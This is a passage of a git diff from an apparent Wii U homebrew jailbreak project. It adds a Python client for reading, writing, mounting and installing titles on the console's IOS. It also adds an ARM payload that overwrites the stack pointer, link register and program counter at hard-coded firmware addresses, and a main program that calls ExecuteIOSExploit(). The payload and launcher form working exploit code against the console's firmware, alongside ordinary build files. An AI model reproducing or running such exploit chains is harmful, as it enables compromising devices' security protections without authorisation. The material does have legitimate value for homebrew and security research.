0x1, ret, buffer) + sys.stdout.write(hex(k) + "\r"); sys.stdout.flush(); + if ret < block_size: + break + self.free(buffer) + ret = self.FSA_CloseFile(fsa_handle, out_file_handle) + ret = self.FSA_CloseFile(fsa_handle, in_file_handle) + + def df(self, filename_out, src, size): + fsa_handle = self.get_fsa_handle() + ret, out_file_handle = self.FSA_OpenFile(fsa_handle, filename_out, "w") + if ret != 0x0: + print("df error : could not open " + filename_out) + return + block_size = 0x10000 + buffer = self.alloc(block_size, 0x40) + k = 0 + while k < size: + cur_size = min(size - k, block_size) + self.memcpy(buffer, src + k, cur_size) + k += cur_size + ret = self.FSA_WriteFilePtr(fsa_handle, out_file_handle, 0x1, cur_size, buffer) + sys.stdout.write(hex(k) + " (%f) " % (float(k * 100) / size) + "\r"); sys.stdout.flush(); + self.free(buffer) + ret = self.FSA_CloseFile(fsa_handle, out_file_handle) + + def dl(self, filename, directorypath = None, local_filename = None): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + if local_filename == None: + if "/" in filename: + local_filename = filename[[i for i, x in enumerate(filename) if x == "/"][-1]+1:] + else: + local_filename = filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r") + if ret != 0x0: + print("dl error : could not open " + filename) + return + buffer = bytearray() + block_size = 0x400 + while True: + ret, data = self.FSA_ReadFile(fsa_handle, file_handle, 0x1, block_size) + # print(hex(ret), data) + buffer += data[:ret] + sys.stdout.write(hex(len(buffer)) + "\r"); sys.stdout.flush(); + if ret < block_size: + break + ret = self.FSA_CloseFile(fsa_handle, file_handle) + if directorypath == None: + open(local_filename, "wb").write(buffer) + else: + dir_path = os.path.dirname(os.path.abspath(sys.argv[0])).replace('\\','/') + fullpath = dir_path + "/" + directorypath + "/" + fullpath = fullpath.replace("//","/") + mkdir_p(fullpath) + open(fullpath + local_filename, "wb").write(buffer) + + def mkdir_p(path): + try: + os.makedirs(path) + except OSError as exc: # Python >2.5 + if exc.errno == errno.EEXIST and os.path.isdir(path): + pass + else: + raise + + def fr(self, filename, offset, size): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r") + if ret != 0x0: + print("fr error : could not open " + filename) + return + buffer = bytearray() + block_size = 0x400 + while True: + ret, data = self.FSA_ReadFile(fsa_handle, file_handle, 0x1, block_size if (block_size < size) else size) + buffer += data[:ret] + sys.stdout.write(hex(len(buffer)) + "\r"); sys.stdout.flush(); + if len(buffer) >= size: + break + ret = self.FSA_CloseFile(fsa_handle, file_handle) + return buffer + + def fw(self, filename, offset, buffer): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r+") + if ret != 0x0: + print("fw error : could not open " + filename) + return + block_size = 0x400 + k = 0 + while True: + cur_size = min(len(buffer) - k, block_size) + if cur_size <= 0: + break + sys.stdout.write(hex(k) + "\r"); sys.stdout.flush(); + ret = self.FSA_WriteFile(fsa_handle, file_handle, buffer[k:(k+cur_size)]) + k += cur_size + ret = self.FSA_CloseFile(fsa_handle, file_handle) + + def stat(self, filename): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "r") + if ret != 0x0: + print("stat error : could not open " + filename) + return + (ret, stats) = self.FSA_GetStatFile(fsa_handle, file_handle) + if ret != 0x0: + print("stat error : " + hex(ret)) + else: + print("flags: " + hex(stats[1])) + print("mode: " + hex(stats[2])) + print("owner: " + hex(stats[3])) + print("group: " + hex(stats[4])) + print("size: " + hex(stats[5])) + ret = self.FSA_CloseFile(fsa_handle, file_handle) + + def up(self, local_filename, filename = None): + fsa_handle = self.get_fsa_handle() + if filename == None: + if "/" in local_filename: + filename = local_filename[[i for i, x in enumerate(local_filename) if x == "/"][-1]+1:] + else: + filename = local_filename + if filename[0] != "/": + filename = self.cwd + "/" + filename + f = open(local_filename, "rb") + ret, file_handle = self.FSA_OpenFile(fsa_handle, filename, "w") + if ret != 0x0: + print("up error : could not open " + filename) + return + progress = 0 + block_size = 0x400 + while True: + data = f.read(block_size) + ret = self.FSA_WriteFile(fsa_handle, file_handle, data) + progress += len(data) + sys.stdout.write(hex(progress) + "\r"); sys.stdout.flush(); + if len(data) < block_size: + break + ret = self.FSA_CloseFile(fsa_handle, file_handle) + +def mkdir_p(path): + try: + os.makedirs(path) + except OSError as exc: + if exc.errno == errno.EEXIST and os.path.isdir(path): + pass + else: + raise + +def mount_sd(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/sdcard01", "/vol/storage_sdcard", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_sd(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_sdcard", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_slccmpt01(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/slccmpt01", "/vol/storage_slccmpt01", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_slccmpt01(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_slccmpt01", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_odd_content(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/odd03", "/vol/storage_odd_content", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_odd_content(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_odd_content", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_odd_update(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/odd02", "/vol/storage_odd_update", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_odd_update(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_odd_update", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def mount_odd_tickets(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Mount(handle, "/dev/odd01", "/vol/storage_odd_tickets", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def unmount_odd_tickets(): + handle = w.open("/dev/fsa", 0) + print(hex(handle)) + + ret = w.FSA_Unmount(handle, "/vol/storage_odd_tickets", 2) + print(hex(ret)) + + ret = w.close(handle) + print(hex(ret)) + +def install_title(path, installToUsb = 0): + mcp_handle = w.open("/dev/mcp", 0) + print(hex(mcp_handle)) + + ret, data = w.MCP_InstallGetInfo(mcp_handle, "/vol/storage_sdcard/"+path) + print("install info : " + hex(ret), [hex(v) for v in data]) + if ret != 0: + ret = w.close(mcp_handle) + print(hex(ret)) + return + + ret = w.MCP_InstallSetTargetDevice(mcp_handle, installToUsb) + print("install set target device : " + hex(ret)) + if ret != 0: + ret = w.close(mcp_handle) + print(hex(ret)) + return + + ret = w.MCP_InstallSetTargetUsb(mcp_handle, installToUsb) + print("install set target usb : " + hex(ret)) + if ret != 0: + ret = w.close(mcp_handle) + print(hex(ret)) + return + + ret = w.MCP_Install(mcp_handle, "/vol/storage_sdcard/"+path) + print("install : " + hex(ret)) + + ret = w.close(mcp_handle) + print(hex(ret)) + +def get_nim_status(): + nim_handle = w.open("/dev/nim", 0) + print(hex(nim_handle)) + + inbuffer = buffer(0x80) + (ret, data) = w.ioctlv(nim_handle, 0x00, [inbuffer], [0x80]) + + print(hex(ret), "".join("%02X" % v for v in data[0])) + + ret = w.close(nim_handle) + print(hex(ret)) + +def read_and_print(adr, size): + data = w.read(adr, size) + data = struct.unpack(">%dI" % (len(data) // 4), data) + for i in range(0, len(data), 4): + print(" ".join("%08X"%v for v in data[i:i+4])) + +if __name__ == '__main__': + w = wupclient() + # mount_sd() + # mount_odd_content() + + # w.up("/media/harddisk1/loadiine_code/homebrew_launcher_rpx/homebrew_launcher.rpx", "homebrew_launcher_rpx.rpx") + # w.up("/media/harddisk1/gx2sploit/gx2sploit.rpx", "homebrew_launcher_rpx.rpx") + # print(w.pwd()) + # w.ls() + w.dump_syslog() + # w.mkdir("/vol/storage_sdcard/usr", 0x600) + # install_title("install", 1) + # get_nim_status() + # w.kill() diff --git a/source/ios_usb/.gitignore b/source/ios_usb/.gitignore new file mode 100644 index 0000000..19ee97e --- /dev/null +++ b/source/ios_usb/.gitignore @@ -0,0 +1,4 @@ +build/ +*.bin +*.bin.h +*.elf diff --git a/source/ios_usb/Makefile b/source/ios_usb/Makefile new file mode 100644 index 0000000..083d180 --- /dev/null +++ b/source/ios_usb/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/source/ios_usb/link.ld b/source/ios_usb/link.ld new file mode 100644 index 0000000..d313e5b --- /dev/null +++ b/source/ios_usb/link.ld @@ -0,0 +1,17 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text 0x101312D0 : { + _text_start = .; + build/crt0.o(.init) + *(.text*); + *(.rodata*); + } + _text_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/source/ios_usb/source/crt0.s b/source/ios_usb/source/crt0.s new file mode 100644 index 0000000..83d7bb6 --- /dev/null +++ b/source/ios_usb/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +_start: + b _main diff --git a/source/ios_usb/source/main.c b/source/ios_usb/source/main.c new file mode 100644 index 0000000..25da595 --- /dev/null +++ b/source/ios_usb/source/main.c @@ -0,0 +1,26 @@ +void _main() +{ + + void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; + + int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; + + int saved_handle = *(volatile int*)0x0012F000; + int myret = reply(saved_handle, 0); + if (myret != 0) + ios_shutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); + + + +} diff --git a/source/main.cpp b/source/main.cpp new file mode 100644 index 0000000..062f024 --- /dev/null +++ b/source/main.cpp @@ -0,0 +1,24 @@ +#include +#include +#include + +#include + + +#include "whb/log.h" +#include "whb/log_udp.h" +#include "ios_exploit.h" + +extern "C" uint64_t _SYSGetSystemApplicationTitleId(int); + +int main(int argc, char **argv) { + WHBLogUdpInit(); + WHBLogPrintf("Hello from mocha"); + unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0); + memcpy((void*)0xF417FFF0, &sysmenuIdUll, 8); + DCStoreRange((void*)0xF417FFF0,0x8); + + ExecuteIOSExploit(); + WHBLogPrintf("Bye from mocha"); + return 0; +}